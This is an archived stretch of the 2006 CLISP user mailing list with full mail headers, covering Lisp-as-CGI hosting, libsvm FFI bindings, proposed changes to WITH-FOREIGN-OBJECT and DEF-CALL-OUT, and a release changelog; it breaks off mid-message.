In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] Is there any memory or time limit to run lisp code? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 20:45:59 -0000 Lei Tang wrote: > My program, which tries to solve a problem in large search space, just > failed. I use lisp in a box. The only ouput is Evaluation aborted after > a long time run. I guess there's some bug with the code, but it works > fine for smaller scenario. So I am wondering whether or not there's > any constraint to run the lisp code in CLISP? Just in case. there are no artificial constraints or limitations in CLISP. please see http://clisp.cons.org/impnotes/clisp.html#bugs specifically: 5. Please supply the full output (copy and paste) of all the error messages, as well as detailed instructions on how to reproduce them. From audunr@yahoo.com Tue Sep 19 14:16:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPmxU-0007RK-2E for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 14:16:48 -0700 Received: from web54108.mail.yahoo.com ([206.190.37.243]) by mail.sourceforge.net with smtp (Exim 4.44) id 1GPmxS-0007d0-Dj for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 14:16:48 -0700 Received: (qmail 45959 invoked by uid 60001); 19 Sep 2006 21:16:40 -0000 Message-ID: <20060919211640.45957.qmail@web54108.mail.yahoo.com> Received: from [80.202.104.134] by web54108.mail.yahoo.com via HTTP; Tue, 19 Sep 2006 14:16:39 PDT Date: Tue, 19 Sep 2006 14:16:39 -0700 (PDT) From: Audun "Rÿfffff8mcke" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CGI with lisp? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: audunr@yahoo.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 19 Sep 2006 21:16:48 -0000 Hello everyone, anyone have any experience running lisp code as CGI? I'm about to start hosting a website for computational linguistics on my own server (WinXP, Apache2 - not ideal, I've been told on numerous occasions, but that's another point), and I need to let users try out my lisp programs through the browser window. I would imagine that it's a matter of letting the server software know where the interpreter is and how to recognise lisp files as CGI scripts, like e.g. Perl and PHP. How much do I need to know about the internals of Apache etc. to get something like this up and running? Can I use PHP or Perl as intermediaries? I'm also curious as to whether lisp-as-CGI (alternatively lisp on its own) has any interfaces to a DBMS like MySQL. I've been googling my fingers sore trying to find details about these things, but I've obviously been looking in the wrong places. Any tips? Thanks a lot, Audun __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From sds@podval.org Tue Sep 19 18:08:27 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPqZe-0003Gt-QL for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 18:08:27 -0700 Received: from mta10.srv.hcvlny.cv.net ([167.206.4.205]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPqZa-0002RY-AA for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 18:08:26 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta10.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J5V00IAZ9RQ9141@mta10.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 19 Sep 2006 21:07:02 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 0C40421E097; Tue, 19 Sep 2006 21:08:15 -0400 (EDT) Date: Tue, 19 Sep 2006 21:08:14 -0400 From: Sam Steingold In-reply-to: <20060919211640.45957.qmail@web54108.mail.yahoo.com> To: clisp-list@lists.sourceforge.net, audunr@yahoo.com Mail-followup-to: clisp-list@lists.sourceforge.net, audunr@yahoo.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20060919211640.45957.qmail@web54108.mail.yahoo.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 2.4 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.4 DOMAIN_RATIO BODY: Message body mentions many internet domains X-Mailman-Approved-At: Tue, 19 Sep 2006 18:10:42 -0700 Subject: Re: [clisp-list] CGI with lisp? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 01:08:27 -0000 Have you seen http://clisp.cons.org/impnotes/fastcgi.html -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://israelnorthblog.livejournal.com http://memri.org http://pmw.org.il http://camera.org http://jihadwatch.org http://truepeace.org WinWord 6.0 UNinstall: Not enough disk space to uninstall WinWord From Joerg-Cyril.Hoehle@t-systems.com Wed Sep 20 02:51:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPyjM-0007yp-1s for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 02:51:02 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPyjH-0005gw-ON for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 02:50:59 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:17:12 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Wed, 20 Sep 2006 11:17:12 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Wed, 20 Sep 2006 11:17:10 +0200 Message-Id: in-reply-to: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi & libsvm Thread-Index: AcbbdwdU+NeNxmMkRqqT86PG8frjEgBFGODw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 20 Sep 2006 09:17:12.0518 (UTC) FILETIME=[8E792660:01C6DC95] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 09:51:02 -0000 Sam Steingold wrote: >I am trying to write an FFI module interface to libsvm >http://www.csie.ntu.edu.tw/~cjlin/libsvm/ This code expresses confusion: >(defun alist-to-nodes (alist) > ;; ((index . value) ...) --> > ;; C [index;value]...[-1;*] > (let* ((len (length alist)) > (ret (allocate-shallow 'svm_node :count (1+ len)))) Foreign memory is allocated, ... > (with-c-place (v ret) > (loop :for i :upfrom 0 :for (index . value) :in alist :do > (setf (svm_node-index (element v i)) index > (svm_node-value (element v i)) value)) > (setf (svm_node-index (element v len)) -1)) ...never freed... > (foreign-value ret))) ...and converted to a native Lisp data structure -- why did you use foreign data in the first place? Maybe you wanted to operate with a handle to a foreign structure? In this case, `ret' is your handle, never (foreign-value ret). >Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready? >I thing it would come handy in several functions in this module. It's not. I can't remember whether I did not write it because of o either fear of added complexity in the C code which so far is understandable, o either not putting enough thought into the semantics of the several keyword and optional arguments, their behaviour if/not present and the semantics of defaulting values. What I mean with the latter is that I don't like macros where there's no value that's equivalent to "not supplied", i.e. where (foomacro ... :key x) can never mean the same as (foomacro ...) without the key. How would :count, :initial-value :deep/shallow interact? Such macros are awkward to handle when some unknown in advance entity produces the values to use. The :library parameter to ffi:def-call-out comes to mind as related. My original idea was that the DEF-CALL-OUT form the programmer wrote would be independent of whether on the user's machine, the library would come as built-in module or shared library. I never sat down to and wrote this. I never tested the postgresql module as is. Every time I used it I had to add (:library "...") snippets to the function declaration because I used the postgres.so shared library for my tests. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Sep 20 03:10:05 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPz1o-0001Is-OZ for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 03:10:04 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPz1o-0002C8-4G for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 03:10:04 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 11:36:12 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Wed, 20 Sep 2006 11:36:12 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Wed, 20 Sep 2006 11:36:11 +0200 Message-Id: in-reply-to: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi & libsvm Thread-Index: AcbbdwdU+NeNxmMkRqqT86PG8frjEgBHrKNA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 20 Sep 2006 09:36:12.0846 (UTC) FILETIME=[362964E0:01C6DC98] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 10:10:05 -0000 Sam Steingold wrote: >Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready? >I thing it would come handy in several functions in this module. Why don't you use (with-foreign-object (foo `(c-array x ,(length y)) #|preinitialize if possible|#) ;; or fill it=20 ;; use it ) The advantage of this approach is that you decide whether C-ARRAY or C-ARRAY-MAX is appropriate for your needs, whereas my :COUNT feature is just a DWIM hack: always C-ARRAY except for type CHARACTER where it produces C-ARRAY-MAX to play nice with C string conventions. Such behaviour may be handy for literal uses of types, but any non-regular behaviour is a pain when using unknown types (e.g. argument values). Bak then, I weighted the tradeoff between regularity and comfort. The result is documented. Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Wed Sep 20 06:59:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ2cA-0005eD-Of for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 06:59:50 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQ2c8-0005DV-6K for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 06:59:50 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQ2be-0006nP-3J for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 15:59:21 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 15:59:18 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 15:59:18 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 09:58:39 -0400 Lines: 76 Message-ID: <4511490F.7080202@gnu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi interfaces X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 13:59:51 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: > >> I am trying to write an FFI module interface to libsvm >> http://www.csie.ntu.edu.tw/~cjlin/libsvm/ > > This code expresses confusion: >> (defun alist-to-nodes (alist) >> ;; ((index . value) ...) --> >> ;; C [index;value]...[-1;*] >> (let* ((len (length alist)) >> (ret (allocate-shallow 'svm_node :count (1+ len)))) > Foreign memory is allocated, ... >> (with-c-place (v ret) >> (loop :for i :upfrom 0 :for (index . value) :in alist :do >> (setf (svm_node-index (element v i)) index >> (svm_node-value (element v i)) value)) >> (setf (svm_node-index (element v len)) -1)) > ...never freed... >> (foreign-value ret))) > ...and converted to a native Lisp data structure -- why did you use > foreign data in the first place? > Maybe you wanted to operate with a handle to a foreign structure? In > this case, `ret' is your handle, never (foreign-value ret). this is an older version. I am returning "ret" now but I cannot get it into a struct slot. see http://permalink.gmane.org/gmane.lisp.clisp.general/11437 >> Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready? >> I thing it would come handy in several functions in this module. > It's not. I can't remember whether I did not write it because of > o either fear of added complexity in the C code which so far is > understandable, > o either not putting enough thought into the semantics of the several > keyword and optional arguments, their behaviour if/not present and the > semantics of defaulting values. > > What I mean with the latter is that I don't like macros where there's no > value that's equivalent to "not supplied", i.e. where > (foomacro ... :key x) can never mean the same as > (foomacro ...) without the key. yet that's how you wrote with-foreign-object et al. this is easy to fix though: since a keyword does not correspond to a foreign value, we can treat :default as "not supplied" > How would :count, :initial-value :deep/shallow interact? you are confused. now: (defmacro with-foreign-object ((var c-type &optional (init nil init-p)) &body body) ...) I want: (defmacro with-foreign-object ((var c-type &key (init :default) (count -1)) &body body) ...) where one cannot supply BOTH :init AND :count. > The :library parameter to ffi:def-call-out comes to mind as related. My > original idea was that the DEF-CALL-OUT form the programmer wrote would > be independent of whether on the user's machine, the library would come > as built-in module or shared library. I never sat down to and wrote > this. > I never tested the postgresql module as is. Every time I used it I had > to add (:library "...") snippets to the function declaration because I > used the postgres.so shared library for my tests. TRT is to combine FOREIGN-LIBRARY-FUNCTION and LOOKUP-FOREIGN-FUNCTION into FIND-FOREIGN-FUNCTION that would accept the library argument that can be NIL to mean LOOKUP-FOREIGN-FUNCTION and non-NIL to mean FOREIGN-LIBRARY-FUNCTION. From lisp-clisp-list@m.gmane.org Wed Sep 20 07:05:18 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ2hR-0006A8-Nl for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 07:05:17 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQ2hR-0006Tm-3W for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 07:05:17 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1GQ2hC-0008N0-An for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 16:05:02 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 16:05:02 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 16:05:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 10:01:52 -0400 Lines: 26 Message-ID: <451149D0.4050101@gnu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 14:05:18 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: >> Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready? >> I thing it would come handy in several functions in this module. > > Why don't you use > (with-foreign-object (foo `(c-array x ,(length y)) > #|preinitialize if possible|#) > ;; or fill it > ;; use it > ) that's what I use now: (ffi:def-call-out %svm_predict_probability (:name "svm_predict_probability") (:arguments (model svm_model) (x (c-array-ptr svm_node)) (prob_estimates c-pointer)) (:return-type double-float) (:library svm-so)) (defun svm_predict_probability (model x) (with-foreign-object (prob_estimates `(c-array int ,(svm_get_nr_class model))) (%svm_predict_probability model x (foreign-address prob_estimates)) (foreign-value prob_estimates))) but this requires a run-time call to PARSE-C-TYPE for no good reason. S. From lisp-clisp-list@m.gmane.org Wed Sep 20 07:45:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ3KV-0001c7-Hm for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 07:45:39 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQ3KT-0004YO-EL for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 07:45:38 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQ3Ja-0002bf-Jl for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 16:44:42 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 16:44:42 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 16:44:42 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 10:43:53 -0400 Lines: 19 Message-ID: <451153A9.1040405@gnu.org> References: <4511490F.7080202@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <4511490F.7080202@gnu.org> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi interfaces X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 14:45:40 -0000 Sam Steingold wrote: > Hoehle, Joerg-Cyril wrote: >> The :library parameter to ffi:def-call-out comes to mind as related. My >> original idea was that the DEF-CALL-OUT form the programmer wrote would >> be independent of whether on the user's machine, the library would come >> as built-in module or shared library. I never sat down to and wrote >> this. >> I never tested the postgresql module as is. Every time I used it I had >> to add (:library "...") snippets to the function declaration because I >> used the postgres.so shared library for my tests. > > TRT is to combine FOREIGN-LIBRARY-FUNCTION and LOOKUP-FOREIGN-FUNCTION > into FIND-FOREIGN-FUNCTION that would accept the library argument that > can be NIL to mean LOOKUP-FOREIGN-FUNCTION and non-NIL to mean > FOREIGN-LIBRARY-FUNCTION. BTW, this way we can also add a compilation unit variable *default-library* whose global value would be NIL but whose value you will set to "postgresql.so" in postgresql.lisp. From lisp-clisp-list@m.gmane.org Wed Sep 20 08:06:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ3eR-0003rO-O1 for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 08:06:16 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GQ3eP-0006SC-T9 for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 08:06:15 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GQ3dm-0008WD-OK for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 17:05:35 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 17:05:34 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 20 Sep 2006 17:05:34 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Wed, 20 Sep 2006 11:04:04 -0400 Lines: 53 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.0 LOTS_OF_STUFF BODY: Thousands or millions of pictures, movies, etc. Subject: [clisp-list] please test cvs head for release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 15:06:17 -0000 I want to make a release soon (before the FFI changes what are being now discussed in a separate thread). Here are the news (replace clisp.cons.org with www.podval.org/~sds/clisp in the impnotes links): Important notes --------------- * All .fas files generated by previous CLISP versions are invalid and must be recompiled. This is because DOCUMENTATION and LAMBDA-LIST are now kept with the closures. Set CUSTOM:*LOAD-OBSOLETE-ACTION* to :COMPILE to automate this. See for details. User visible changes -------------------- * Infrastructure + Top-level configure now accepts a new option --elispdir which specifies the installation directory for the Emacs Lisp files (clhs.el et al). The default value is ${datadir}/emacs/site-lisp/. Thus, clhs.el at al are now installed by "make install", and should be included in the 3rd party distributions. + Top-level configure now accepts variables on command line, e.g., ./configure CC=g++ CFLAGS=-g * Function PCRE:PCRE-EXEC accepts :DFA and calls pcre_dfa_exec() when built against PCRE v6. See . * New functions RAWSOCK:IF-NAME-INDEX, RAWSOCK:IFADDRS. See . * When the OPTIMIZE SPACE level is low enough, keep function documentation and lambda list. See . * Bug fixes: + Make it possible to set *IMPNOTES-ROOT-DEFAULT* and *CLHS-ROOT-DEFAULT* to local paths, as opposed to URLs. [ 1494059 ] + Fix the evaluation order of initialization and :INITIALLY forms in then extended LOOP. [ 1516684 ] + Do not allow non-symbols as names of anonymous classes. [ 1528201 ] + REINITIALIZE-INSTANCE now calls FINALIZE-INHERITANCE. [ 1526448 ] + Fix the RAWSOCK module on big-endian platforms. [ 1529244 ] + PRINT-OBJECT now works on built-in objects. [ 1482533 ] + ADJUST-ARRAY signals an error if :FILL-POINTER is supplied and non-NIL but the non-adjustable array has no fill pointer, as per ANSI. [ 1538333 ] + MAKE-PATHNAME no longer ignores explicit :DIRECTORY NIL (thanks to Stephen Compall ). [ 1550803 ] + Executable images now work on ia64 (thanks to Dr. Werner Fink ). + MAKE-PATHNAME on win32 now handles correctly directories that start with a non-string (e.g., :WILD). [ 1555096 ] From Joerg-Cyril.Hoehle@t-systems.com Wed Sep 20 10:22:17 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GQ5m5-00028R-84 for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 10:22:17 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GQ5m3-0001Xq-KG for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 10:22:17 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 20 Sep 2006 19:22:05 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Wed, 20 Sep 2006 19:22:05 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Wed, 20 Sep 2006 19:22:04 +0200 Message-Id: in-reply-to: <451153A9.1040405@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi interfaces Thread-Index: Acbcw3xRsFULVBQLQXqbjAWdr52FegAE///w From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 20 Sep 2006 17:22:05.0798 (UTC) FILETIME=[4B6B6060:01C6DCD9] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi interfaces X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Sep 2006 17:22:17 -0000 Sam Steingold wrote: >> TRT is to combine FOREIGN-LIBRARY-FUNCTION and=20 >LOOKUP-FOREIGN-FUNCTION=20 >> into FIND-FOREIGN-FUNCTION that would accept the library=20 >argument that=20 >> can be NIL to mean LOOKUP-FOREIGN-FUNCTION and non-NIL to mean=20 >> FOREIGN-LIBRARY-FUNCTION. This sounds exactly like what I thought of many many moons ago but never implemented. >BTW, this way we can also add a compilation unit variable=20 >*default-library* whose global value would be NIL but whose value you=20 >will set to "postgresql.so" in postgresql.lisp. Er, how will a compilation unit help? My thoughts for the macroexpansion of DEF-CALL-OUT was a run-time call. I.e. it's not until the .fas file is loaded that a decision is 